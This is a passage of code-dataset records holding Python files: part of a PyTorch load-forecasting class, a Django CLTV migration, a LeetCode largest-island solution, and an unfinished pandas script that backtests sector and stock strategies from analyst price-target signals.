enumerate(self.linear.weight.data.view(-1)):\n model += '{}{:.2f} x{} '.format(sign(w), w, modelSize - i)\n model += '{:+.2f}'.format(self.linear.bias.data[0])\n return model \n\n def shape_input(self, x, label):\n '''\n Shape unput data x to: \n 0-23 : Hourly load of last day\n 24-27: Max and min temp of 2 weather station\n 30-33: Bit encoding for day\n '''\n\n\n\n if self.firstPass == 1:\n self.lastday = x[0:23,:].flatten()\n self.firstPass = 0\n\n \n x = torch.cat((label, x[2:8], x[11:12]), 0)\n day = x[1]\n\n label = torch.cat((self.firstDayLabel, llabel[1:] ), 0)\n # self.firstDayLabel = \n return x\n\n def save_history(self, filePath):\n trainer.save_log(filePath, self.history)\n\n def train(self, args, device, trainLoader, testLoader, optim, lossFunction = nn.MSELoss()):\n true = 0\n acc = 0\n epochs = args[0]\n \n trainerArgs = args\n testerArgs = args\n testerArgs[1] *= 4 \n # column_select = torch.tensor([i for i in range(5,30)])\n for e in range(epochs):\n trainerArgs[0] = e \n testerArgs[0] = e \n trainer.train_regressor(self, args, device, trainLoader, optim, lossFunction)\n self.test(testerArgs, device, testLoader, lossFunction)\n \n # Testing and error reports are done here\n def test(self, args, device, testLoader, lossFunction = nn.MSELoss()):\n print(\"--Epoch {} Testing ----\" . format(args[0])) \n testArgs = args\n trainer.test_regressor(self, args, device, testLoader, lossFunction) \n\n\n def report(self):\n\n print(\"Current stats of ANNSLF:\")\n print(\"MAE: {}\" .format(self.history[ridx.trainMAE]))\n print(\"MAPE: {}\" .format(self.history[ridx.trainMAPE]))\n print(\"Training Loss: {}\" .format(self.history[ridx.trainLoss]))\n print(\"Test MAE: {}\" .format(self.history[ridx.testMAE]))\n print(\"Test MAPE: {}\" .format(self.history[ridx.testMAE]))\n print(\"Test Loss: {}\" .format(self.history[ridx.testLoss]))\n\n\n\n","sub_path":"Code/Architecture/ann_greek.py","file_name":"ann_greek.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"438214384","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='CltvDescription',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('month', models.DateField()),\n ('arpu', models.DecimalField(max_digits=20, decimal_places=2)),\n ('no_joined_customer', models.IntegerField()),\n ('cltv_value', models.DecimalField(max_digits=20, decimal_places=2)),\n ('total_revenue', models.DecimalField(max_digits=20, decimal_places=2)),\n ],\n ),\n migrations.CreateModel(\n name='CltvGraph',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date', models.DateField()),\n ('filter1_category', models.CharField(max_length=255, null=True, blank=True)),\n ('filter1_sub_category', models.CharField(max_length=255, null=True, blank=True)),\n ('filter2_category', models.CharField(max_length=255, null=True, blank=True)),\n ('filter2_sub_category', models.CharField(max_length=255, null=True, blank=True)),\n ('filter3_category', models.CharField(max_length=255, null=True, blank=True)),\n ('filter3_sub_category', models.CharField(max_length=255, null=True, blank=True)),\n ('forecast_tag', models.BooleanField(default=False)),\n ('upper_value', models.DecimalField(max_digits=20, decimal_places=2)),\n ('lower_value', models.DecimalField(max_digits=20, decimal_places=2)),\n ('actual_value', models.DecimalField(max_digits=20, decimal_places=2)),\n ],\n ),\n ]\n","sub_path":"cltv/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"50467461","text":"# Time: O(n^2)\n# Space: O(n^2)\n\n# 827 weekly contest 82 4/28/2018\n\n# In a 2D grid of 0s and 1s, we change at most one 0 to a 1.\n#\n# After, what is the size of the largest island?\n# (An island is a 4-directionally connected group of 1s).\n#\n# Example 1:\n#\n# Input: [[1, 0], [0, 1]]\n# Output: 3\n# Explanation: Change one 0 to 1 and connect two 1s,\n# then we get an island with area = 3.\n# Example 2:\n#\n# Input: [[1, 1], [1, 0]]\n# Output: 4\n# Explanation: Change the 0 to 1 and make the island bigger,\n# only one island with area = 1.\n# Example 3:\n#\n# Input: [[1, 1], [1, 1]]\n# Output: 4\n# Explanation: Can't change any 0 to 1, only one island with area = 1.\n#\n# Notes:\n# - 1 <= grid.length = grid[0].length <= 50.\n# - 0 <= grid[i][j] <= 1.\n\ntry:\n xrange # Python 2\nexcept NameError:\n xrange = range # Python 3\n\n\nclass Solution(object):\n # union-find\n def largestIsland(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n def find(i):\n if parent[i] != i:\n parent[i] = find(parent[i])\n return parent[i]\n\n def union(i, j):\n pi, pj = find(i), find(j)\n if pi != pj:\n parent[pj] = pi\n size[pi] += size[pj]\n\n m, n = len(grid), len(grid[0])\n parent = range(m * n)\n size = [0] * (m * n)\n self.maxSize = 0\n\n # Set up connected graph.\n for i in xrange(m):\n for j in xrange(n):\n if grid[i][j] == 1:\n size[i * n + j] = 1\n if i > 0 and grid[i - 1][j] == 1:\n union(i * n + j, (i - 1) * n + j)\n if j > 0 and grid[i][j - 1] == 1:\n union(i * n + j, i * n + j - 1)\n self.maxSize = max(self.maxSize, size[i*n+j])\n\n ans = self.maxSize\n dirs = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n for i in xrange(m):\n for j in xrange(n):\n if grid[i][j] == 0:\n parentSet = set()\n for dx, dy in dirs:\n x, y = i + dx, j + dy\n if 0 <= x < m and 0 <= y < n and grid[x][y] == 1:\n parentSet.add(find(x * n + y))\n ans = max(ans, 1+sum(size[k] for k in parentSet))\n return ans\n\n # DFS but similar to union-find. For each connected group, fill it with a new value (starting from 2, since 0 and 1 are used)\n # and remember it's size as area[index] = dfs(...).\n def largestIsland2(self, grid):\n directions = [(0, -1), (0, 1), (-1, 0), (1, 0)]\n\n def dfs(r, c, index, grid):\n if not (0 <= r < len(grid) and\n 0 <= c < len(grid[0]) and\n grid[r][c] == 1):\n return 0\n result = 1\n grid[r][c] = index\n for d in directions:\n result += dfs(r+d[0], c+d[1], index, grid)\n return result\n\n area = {}\n index = 2\n for r in xrange(len(grid)):\n for c in xrange(len(grid[r])):\n if grid[r][c] == 1:\n area[index] = dfs(r, c, index, grid)\n index += 1\n\n result = max(area.values() or [0])\n for r in xrange(len(grid)):\n for c in xrange(len(grid[r])):\n if grid[r][c] == 0:\n seen = set()\n for d in directions:\n nr, nc = r+d[0], c+d[1]\n if not (0 <= nr < len(grid) and\n 0 <= nc < len(grid[0]) and\n grid[nr][nc] > 1):\n continue\n seen.add(grid[nr][nc])\n result = max(result, 1 + sum(area[i] for i in seen))\n return result\n\n\nprint(Solution().largestIsland([[1,0],[0,1]])) # 3\nprint(Solution().largestIsland([[1]])) # 1","sub_path":"Python/making-a-large-island.py","file_name":"making-a-large-island.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"491119532","text":"from a_blackfire_capital_class.displaysheet import DisplaysheetStatistics\nfrom bBlackFireCapitalData.SectorsMarketData.GetSectorsMarketInfos import getSectorForLevel\nimport motor\nimport tornado\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom sklearn import metrics\nfrom pathlib import Path\nfrom sklearn.cross_validation import cross_val_score, KFold\nfrom scipy.stats import sem\nimport matplotlib.pyplot as plt\nfrom aBlackFireCapitalClass.ClassSectorsMarketData.ClassSectorsMarketDataPrice import SectorsMarketDataPrice\n\n__ENTETE__ = ['date', 'eco zone', 'naics', 'csho', 'vol', 'pc', 'ph', 'pl', 'ptnvar', 'ptmvar',\n 'pptnvar', 'pptmvar', 'csnrec', 'csmrec', 'csnvar', 'csmvar']\n\n__INDICE_FOR_VAR__ = ['eco zone', 'naics', 'pc']\n__ACTUAL__ = ''\n__PREV__ = '_prev'\n\n\n########################################################################################################################\n# #\n# Section 1: Machine learning Evaluation #\n# #\n########################################################################################################################\n\ndef evaluate_cross_validation(clf, x, y, k):\n cv = KFold(len(y), k, shuffle=True, random_state=0)\n scores = cross_val_score(clf, x, y, cv=cv)\n print(scores)\n print('Mean score: {0:.3f}) (+/- {1:.3f})'.format(np.mean(scores), sem(scores)))\n\n\ndef train_and_evaluate(clf, x_tr, x_te, y_tr, y_te):\n clf.fit(x_tr, y_tr)\n print('Accuracy on training test {0:.3f}'.format(clf.score(x_tr, y_tr)))\n print('Accuracy on testing test {0:.3f}'.format(clf.score(x_te, y_te)))\n\n y_pr = clf.predict(x_te)\n print(\"Classification report\")\n print(metrics.classification_report(y_te, y_pr))\n\n\n########################################################################################################################\n# #\n# Section 2: Important Function for the computation #\n# #\n########################################################################################################################\n\n\ndef calculate_benchmark(group):\n monthly_return = (group['mc'] * group['return']).sum() / group['mc'].sum()\n return monthly_return\n\n\ndef z_score(group):\n \"\"\"\n This fucntion is used to compute the z-score of an array input.\n\n :param group: array of the data we want to compute the\n \"\"\"\n\n return (group[-1] - group.mean()) / group.std()\n\n\ndef return_in_quantile(group) -> pd.DataFrame:\n \"\"\"\"\n This fuction take a Dataframe as input and return a columns with a ranking from 1 to 10 given the feature\n\n :param\n group: Dataframe containing the values to rank\n feature: Name of the column to rank.\n\n :return\n Dataframe containing one column ranking with the features ranks.\n\n \"\"\"\"\"\n print(group.name)\n print(group)\n Labels = ['1', '2', '3']\n tab_group = group[['ret']].quantile(np.array([0, 0.2, 0.8, 1]), numeric_only=False)\n group = group.fillna(np.nan)\n\n tab_group['labels'] = ['0'] + Labels\n x = tab_group[['ret', 'labels']].drop_duplicates(['ret'])\n labels = list(x['labels'])\n labels.remove('0')\n group['ranking_return'] = pd.cut(group['ret'], x['ret'], labels=labels).values.add_categories('0').fillna('0')\n\n return group\n\n\ndef calculate_return_by_quantile(group, column_name):\n tab = [[], []]\n for i in range(1, 11):\n t = group[group.loc[:, column_name] == i]\n if t[\"return\"].mean() == np.nan:\n tab[0].append(0)\n else:\n tab[0].append(t[\"return\"].mean())\n\n try:\n tab[1].append((t['mc'] * t['return']).sum() / t['mc'].sum())\n except ZeroDivisionError:\n tab[1].append(0)\n tab = pd.DataFrame(tab, columns=['Q' + str(i) for i in range(1, 11)])\n tab['l/s (130/30)'] = 1.3 * tab['Q10'] - 0.3 * tab['Q1']\n tab['l/s (150/50)'] = 1.5 * tab['Q10'] - 0.5 * tab['Q1']\n tab.fillna(0, inplace=True)\n if group.name[0].year == 2017:\n print(group.name)\n print(group[group['historical_ranking_pt_return'] == 10][['mc', 'return']])\n print(tab[[\"Q1\", 'Q10']])\n\n return tab\n\n\ndef cum_prod_return(group):\n group = group + 1\n group.fillna(1, inplace=True)\n group.iloc[0:1, :] = 100\n group = group.cumprod()\n\n return group.reset_index()\n\n\ndef group_in_quantile(group, feature, quantiles) -> pd.DataFrame:\n \"\"\"\"\n This fuction take a Dataframe as input and return a columns with a ranking from 1 to 10 given the feature\n\n :param\n group: Dataframe containing the values to rank\n feature: Name of the column to rank\n\n :return\n Dataframe containing one column ranking with the features ranks.\n\n \"\"\"\"\"\n labels = [str(i + 1) for i in range(len(quantiles) - 1)]\n tab_group = group[[feature]].quantile(np.array(quantiles), numeric_only=False)\n group = group.fillna(np.nan)\n\n tab_group['labels'] = ['0'] + labels\n x = tab_group[[feature, 'labels']].drop_duplicates([feature])\n labels = list(x['labels'])\n labels.remove('0')\n group['ranking_' + feature] = pd.cut(group[feature], x[feature], labels=labels).values.add_categories('0').fillna(\n '0')\n return group\n\n\ndef get_sector_return(eco, naics, pc, ecop, naicsp, pcp):\n if eco != ecop:\n return None\n if naics != naicsp:\n return None\n try:\n return pc / pcp - 1\n except ZeroDivisionError:\n return None\n except TypeError:\n return None\n\n\ndef shift_stocks_return(group, periode):\n group['index'] = group.index\n group = group.set_index('date')\n t = group[['return']].shift(periods=periode, freq='M')\n group.loc[:, 'return'] = t['return']\n\n return group.set_index('index')[['return']]\n\n\ndef get_next_monthly_return(eco, naics, ecop, naicsp, ret):\n if eco != ecop:\n return None\n if naics != naicsp:\n return None\n\n return ret\n\n\ndef get_sectors_price(params):\n ClientDB = motor.motor_tornado.MotorClient(params.ConnectionString)\n # loop = tornado.ioloop.IOLoop\n # loop.current().run_sync(SectorsMarketDataPrice(ClientDB, None).create_index)\n\n loop = tornado.ioloop.IOLoop\n tabSectorInfos = loop.current().run_sync(SectorsMarketDataPrice(ClientDB, {}, None).GetStocksPriceFromDB)\n\n tab_to_save = []\n\n for value in tabSectorInfos:\n eco = value['eco zone']\n naics = value['naics']\n date = value['date']\n\n csho = value['csho']\n vol = value['vol']\n pc = value['price_close']\n ph = value['price_high']\n pl = value['price_low']\n\n pt = value['price_target']\n cs = value['consensus']\n\n t = [date, eco, naics, csho, vol, pc, ph, pl, pt['num_var'], pt['mean_var'], pt['pnum_var'], pt['pmean_var'],\n cs['num_recom'], cs['mean_recom'], cs['num_var'], cs['mean_var']]\n\n tab_to_save.append(t)\n\n np.save('tabSectorPrice.npy', tab_to_save)\n\n ClientDB.close()\n\n\n########################################################################################################################\n# #\n# Section 3: Strategy Implementation #\n# #\n########################################################################################################################\n\n\ndef strategy_by_sector_for_eco_zone(eco_zone):\n\n my_path = Path(__file__).parent.parent.parent.parent.resolve()\n monthly_prices = np.load(str(my_path) + '/bBlackFireCapitalData/SectorsMarketData/monthly_sectors_prices_us.npy')\n entete = ['eco zone', 'naics', 'date', 'level_3', 'mc', 'vol', 'npt', 'npptvar', 'nptvar', 'nrc', 'nrcvar',\n 'return', 'pt_return', 'mpt_return', 'pptvar', 'ptvar', 'rc', 'rcvar']\n\n monthly_prices = pd.DataFrame(monthly_prices, columns=entete)\n monthly_prices = monthly_prices[(monthly_prices['eco zone'] == eco_zone)]\n\n data = dict()\n data['header'] = entete\n data['data'] = monthly_prices\n np.save(str(my_path) + '/eBlackFireCapitalFiles/sectors_with_recommendations_signal.npy', data)\n\n return\n monthly_prices.loc[monthly_prices['pt_return'] == 0, 'pt_return'] = None\n print(monthly_prices.info())\n\n # Filter all NAICS of level 2\n monthly_prices = monthly_prices[monthly_prices['naics'].isin(getSectorForLevel(2))]\n monthly_prices = monthly_prices.sort_values([\"eco zone\", \"naics\", \"date\"],\n ascending=[True, True, True]).reset_index(drop=True)\n monthly_prices['date'] = pd.DatetimeIndex(monthly_prices['date'])\n\n # Benchmark\n Benchmark = monthly_prices[['mc', 'return']].groupby(monthly_prices['date']).apply(calculate_benchmark)\n Benchmark = pd.DataFrame(Benchmark, columns=['benchmark'])\n\n # Shift Stocks returns\n result = monthly_prices[['date', 'eco zone', 'naics', 'return']].groupby(['eco zone', 'naics']).apply(\n shift_stocks_return, -1)\n monthly_prices['return'] = result['return']\n\n # Remove all None return\n monthly_prices.dropna(subset=['return'], inplace=True)\n\n # Ranking Stocks Returns\n quantiles = [0, 0.2, 0.8, 1]\n result = monthly_prices[['date', 'eco zone', 'naics', 'return']].groupby(['eco zone', 'date']).apply(\n group_in_quantile,\n 'return', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_return']])\n\n ###################################################################################################################\n #\n # Ranking of sector by month\n #\n ###################################################################################################################\n\n # --> Price Target\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n result = monthly_prices[['date', 'naics', 'eco zone', 'pt_return']].groupby(['eco zone', 'date']).apply(\n group_in_quantile,\n 'pt_return',\n quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_pt_return']])\n\n # --> Mean Price Target Return\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n result = monthly_prices[['date', 'naics', 'eco zone', 'mpt_return']].groupby(['eco zone', 'date']).apply(\n group_in_quantile,\n 'mpt_return',\n quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_mpt_return']])\n\n # --> Mean Price Target Return Variation\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n result = monthly_prices[['date', 'naics', 'eco zone', 'ptvar']].groupby(['eco zone', 'date']).apply(\n group_in_quantile,\n 'ptvar',\n quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_ptvar']])\n\n # # --> Mean recommendation\n # quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n # result = monthly_prices[['date', 'naics', 'eco zone', 'rc']].groupby(['eco zone', 'date']).apply(group_in_quantile,\n # 'rc',\n # quantiles)\n # monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_rc']])\n #\n # # --> Mean recommendation var\n # quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n # result = monthly_prices[['date', 'naics', 'eco zone', 'rcvar']].groupby(['eco zone', 'date']).apply(group_in_quantile,\n # 'rcvar',\n # quantiles)\n # monthly_prices = pd.merge(monthly_prices, result[['date', 'naics', 'ranking_rcvar']])\n\n ###################################################################################################################\n #\n # calculation of Z score\n #\n ###################################################################################################################\n\n # Calculation of 12 month z score for features ptvar, pt et rcvar\n result = monthly_prices.set_index('date')\n\n result = result[['naics', 'eco zone', 'ptvar', 'pt_return', 'mpt_return', 'rc', 'rcvar']].groupby(\n ['eco zone', 'naics']).rolling(12,\n min_periods=9).apply(\n z_score)\n\n result = result.reset_index()\n result = result[result['date'] > datetime(2000, 12, 1)]\n\n ###################################################################################################################\n #\n # Ranking of Z score by month\n #\n ###################################################################################################################\n\n # --> Price Target Variation\n _ = result[['date', 'eco zone', 'naics', 'ptvar']].groupby(['eco zone', 'date']).apply(group_in_quantile, 'ptvar',\n quantiles)\n _.rename(columns={'ranking_ptvar': 'historical_ranking_ptvar'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'naics', 'historical_ranking_ptvar']], on=['naics', 'date'])\n\n # --> Price Target return\n _ = result[['date', 'eco zone', 'naics', 'pt_return']].groupby(['eco zone', 'date']).apply(group_in_quantile,\n 'pt_return',\n quantiles)\n _.rename(columns={'ranking_pt_return': 'historical_ranking_pt_return'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'naics', 'historical_ranking_pt_return']],\n on=['naics', 'date'])\n\n # --> Mean Price Target return\n _ = result[['date', 'eco zone', 'naics', 'mpt_return']].groupby(['eco zone', 'date']).apply(group_in_quantile,\n 'mpt_return',\n quantiles)\n _.rename(columns={'ranking_mpt_return': 'historical_ranking_mpt_return'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'naics', 'historical_ranking_mpt_return']],\n on=['naics', 'date'])\n\n # # --> Mean recommendation\n # _ = result[['date','eco zone', 'naics', 'rc']].groupby(['eco zone', 'date']).apply(group_in_quantile, 'rc',\n # quantiles)\n # _.rename(columns={'ranking_rc': 'historical_ranking_rc'}, inplace=True)\n # monthly_prices = pd.merge(monthly_prices, _[['date', 'naics', 'historical_ranking_rc']], on=['naics', 'date'])\n #\n # # --> Mean recommendation variation\n # _ = result[['date','eco zone', 'naics', 'rcvar']].groupby(['eco zone', 'date']).apply(group_in_quantile, 'rcvar',\n # quantiles)\n # _.rename(columns={'ranking_rcvar': 'historical_ranking_rcvar'}, inplace=True)\n # monthly_prices = pd.merge(monthly_prices, _[['date', 'naics', 'historical_ranking_rcvar']], on=['naics', 'date'])\n\n ###################################################################################################################\n #\n # Return of Quantile by feature\n #\n ###################################################################################################################\n\n portfolio = monthly_prices[\n ['date', 'eco zone', 'naics', 'return', 'mc', 'ranking_ptvar', 'historical_ranking_ptvar']]\n portfolio = portfolio[\n (portfolio['ranking_ptvar'].astype(int) > 9) & (portfolio['historical_ranking_ptvar'].astype(int) > 8)]\n\n sector = np.load('isin_pf.npy')\n sector = pd.DataFrame(sector, columns=['date', 'naics', 'isin', 'return', 'mc', 'historical_ranking_pt_return'])\n sector['date'] = pd.DatetimeIndex(sector['date'])\n portfolio = pd.merge(portfolio[['date', 'naics']], sector, on=['date', 'naics'])\n portfolio = portfolio[['date', 'naics', 'isin', 'return', 'mc', 'historical_ranking_pt_return']]\n portfolio.columns = ['date', 'group', 'constituent', 'return', 'mc', 'signal']\n portfolio = portfolio[portfolio['signal'] == '10']\n portfolio.loc[:, 'signal'] = 'buy'\n stat = DisplaysheetStatistics(portfolio, 'Sector selection', Benchmark)\n stat.plot_results()\n return\n portfolio.columns = ['date', 'group', 'constituent', 'return', 'mc', 'signal']\n\n portfolio.loc[:, 'signal'] = 'buy'\n stat = DisplaysheetStatistics(portfolio, 'Sector selection', Benchmark)\n stat.plot_results()\n\n return\n monthly_prices['historical_ranking_pt_return'] = monthly_prices['historical_ranking_ptvar'].astype(int)\n print('done')\n result = monthly_prices[['date', 'naics', 'mc', 'return', 'historical_ranking_pt_return', 'eco zone']].groupby(\n ['date', 'eco zone']).apply(\n calculate_return_by_quantile, 'historical_ranking_pt_return').reset_index()\n # return\n result.rename(columns={'level_2': 'Type'}, inplace=True)\n result.loc[:, 'Type'] = result['Type'].map({0: 'EW', 1: 'MW'})\n\n # benchmark['date'] = pd.DatetimeIndex(benchmark['date'])\n # result = pd.merge(result, benchmark, on=['date', 'naics'], )\n\n result.set_index('date', inplace=True)\n result = result.groupby(['eco zone', 'Type']).apply(cum_prod_return).reset_index()\n result.set_index('date', inplace=True)\n result.to_excel(\"output.xlsx\")\n print(result)\n result[result['Type'] == 'MW'][['Q10', 'Q1']].plot()\n plt.show()\n return\n\n\ndef strategy_by_stocks_in_eco_zone(eco_zone):\n my_path = Path(__file__).parent.parent.parent.parent.resolve()\n monthly_prices = np.load(str(my_path) + '/bBlackFireCapitalData/SectorsMarketData/monthly_prices_adj_us.npy')\n entete = ['eco zone', 'naics', 'gvkey', 'isin', 'exchg', 'USDtocurr', 'adj_factor', 'date',\n 'pc', 'ph', 'pl', 'vol', 'curr', 'pt', 'npt', 'pptvar', 'npptvar', 'ptvar',\n 'nptvar', 'rc', 'nrc', 'rcvar', 'nrcvar', 'csho', 'adj_pc', 'return',\n 'pt_return']\n\n ###################################################################################################################\n #\n # Initialisation of the data\n #\n ###################################################################################################################\n\n monthly_prices = pd.DataFrame(monthly_prices, columns=entete)\n monthly_prices = monthly_prices[(monthly_prices['eco zone'] == eco_zone)]\n monthly_prices.loc[monthly_prices['pt_return'] == 0, 'pt_return'] = None\n\n # Filter all NAICS of level 2\n monthly_prices = monthly_prices[monthly_prices['naics'].isin(getSectorForLevel(2))]\n monthly_prices = monthly_prices.sort_values([\"naics\", \"isin\", \"date\"], ascending=[True, True, True]).reset_index(\n drop=True)\n monthly_prices['date'] = pd.DatetimeIndex(monthly_prices['date'])\n\n # Calcul of Market Cap.\n monthly_prices.loc[:, 'mc'] = monthly_prices.loc[:, 'csho'] * monthly_prices.loc[:, 'pc'] / monthly_prices.loc[:,\n 'USDtocurr']\n\n # Shift Stocks returns\n result = monthly_prices[['date', 'isin', 'pc', 'return']].groupby(['isin']).apply(shift_stocks_return, -1)\n monthly_prices['return'] = result['return']\n\n # Remove all None return\n monthly_prices.dropna(subset=['return'], inplace=True)\n print(monthly_prices.info())\n ###################################################################################################################\n #\n # Return of Quantile by feature\n #\n ###################################################################################################################\n\n # Ranking Stocks Returns\n quantiles = [0, 0.2, 0.8, 1]\n result = monthly_prices[['date', 'naics', 'isin', 'return']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'return', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_return']])\n\n # Ranking of Feature by month\n # --> Price Target\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n result = monthly_prices[['date', 'naics', 'isin', 'pt_return']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'pt_return',\n quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_pt_return']])\n\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n\n # --> Mean variation of Price Target\n result = monthly_prices[['date', 'naics', 'isin', 'ptvar']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'ptvar', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_ptvar']])\n\n # --> Mean variation of Primary Price Target\n result = monthly_prices[['date', 'naics', 'isin', 'pptvar']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'pptvar', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_pptvar']])\n\n quantiles = [0, 0.2, 0.8, 1]\n\n # --> Mean variation of Stocks recommendation\n result = monthly_prices[['date', 'naics', 'isin', 'rc']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'rc', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_rc']])\n\n # --> Mean variation of Price Target\n result = monthly_prices[['date', 'naics', 'isin', 'rcvar']].groupby(['naics', 'date']).apply(group_in_quantile,\n 'rcvar', quantiles)\n monthly_prices = pd.merge(monthly_prices, result[['date', 'isin', 'ranking_rcvar']])\n\n ###################################################################################################################\n #\n # Apply z-score for the historical growth\n #\n ###################################################################################################################\n\n # Calculation of 12 month z score for features ptvar, pt et rcvar\n result = monthly_prices.set_index('date')\n\n result = result[['naics', 'isin', 'ptvar', 'pt_return', 'pptvar', 'rc', 'rcvar']]\n\n result = result.groupby(['naics', 'isin']).rolling(12, min_periods=9).apply(z_score)\n\n result = result.reset_index()\n result = result[result['date'] > datetime(2000, 12, 1)]\n\n # Ranking of Naics z score by month\n\n quantiles = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n\n # --> Price Target Variation\n _ = result[['date', 'naics', 'isin', 'ptvar']].groupby(['naics', 'date']).apply(group_in_quantile, 'ptvar',\n quantiles)\n _.rename(columns={'ranking_ptvar': 'historical_ranking_ptvar'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'isin', 'historical_ranking_ptvar']], on=['isin', 'date'])\n\n # --> Primary Price Target Variation\n _ = result[['date', 'naics', 'isin', 'pptvar']].groupby(['naics', 'date']).apply(group_in_quantile, 'pptvar',\n quantiles)\n _.rename(columns={'ranking_pptvar': 'historical_ranking_pptvar'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'isin', 'historical_ranking_pptvar']], on=['isin', 'date'])\n\n # --> Price Target return\n _ = result[['date', 'naics', 'isin', 'pt_return']].groupby(['naics', 'date']).apply(group_in_quantile, 'pt_return',\n quantiles)\n _.rename(columns={'ranking_pt_return': 'historical_ranking_pt_return'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'isin', 'historical_ranking_pt_return']], on=['isin', 'date'])\n\n quantiles = [0, 0.2, 0.8, 1]\n\n # --> Price recommnedation\n _ = result[['date', 'naics', 'isin', 'rc']].groupby(['naics', 'date']).apply(group_in_quantile, 'rc',\n quantiles)\n _.rename(columns={'ranking_rc': 'historical_ranking_rc'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'isin', 'historical_ranking_rc']], on=['isin', 'date'])\n\n # --> Price Stocks recommendation variation\n _ = result[['date', 'naics', 'isin', 'rcvar']].groupby(['naics', 'date']).apply(group_in_quantile, 'rcvar',\n quantiles)\n _.rename(columns={'ranking_rcvar': 'historical_ranking_rcvar'}, inplace=True)\n monthly_prices = pd.merge(monthly_prices, _[['date', 'isin', 'historical_ranking_rcvar']], on=['isin', 'date'])\n\n data = dict()\n data['entete'] = monthly_prices.columns\n data['data'] = monthly_prices\n\n np.save(str(my_path) + '/eBlackFireCapitalFiles/stocks_with_recommendations_signal.npy', data)\n # portfolio.columns = ['date', 'group', 'constituent', 'return', 'mc', 'signal']\n\n return\n\n\n########################################################################################################################\n# #\n# Section 4: Result Statistics #\n# #\n########################################################################################################################\n\ndef get_statistics_strategy_by_stocks_in_eco_zone(naics, data, benchmark,\n feature='historical_ranking_pt_return',\n strategy='l/s'):\n mask_l = (data[feature] == '10') & \\\n (data['rc'].fillna(10).astype(int) < 3) & \\\n (data['ranking_ptvar'].fillna(0).astype(int) > 7) & \\\n (data['historical_ranking_ptvar'].fillna(0).astype(int) > 7)\n\n mask_s = (data[feature] == '1') & \\\n (data['rc'].fillna(0).astype(int) > 3) & \\\n (data['ranking_ptvar'].fillna(0).astype(int).isin([1, 2])) & \\\n (data['historical_ranking_ptvar'].fillna(0).astype(int).isin([1, 2]))\n\n if strategy == 'l':\n portfolio = data[mask_l]\n elif strategy == 's':\n portfolio = data[mask_s]\n\n else:\n mask = mask_l | mask_s\n portfolio = data[mask]\n\n # portfolio = portfolio[portfolio['date'] > datetime(2008,12,1)]\n portfolio = portfolio[['date', 'naics', 'isin', 'return', 'mc', feature]].set_index('date')\n portfolio.columns = ['group', 'constituent', 'return', 'mc', 'position']\n portfolio.loc[portfolio['position'] == '10', 'position'] = 'l'\n portfolio.loc[portfolio['position'] == '9', 'position'] = 'l'\n portfolio.loc[portfolio['position'] == '1', 'position'] = 's'\n portfolio.loc[portfolio['position'] == '2', 'position'] = 's'\n benchmark.rename(columns={'return': 'benchmark'}, inplace=True)\n description = 'The results shown above are obtained after buying stocks with the best accelerations of the price ' \\\n 'target for the 12 previous month in the sector ' + naics + '. To rank stocks we calculate the Z-score' \\\n ' of the mean price target returns.'\n if portfolio.shape[0] > 0:\n stat = DisplaysheetStatistics(portfolio, naics, description, benchmark[['date', 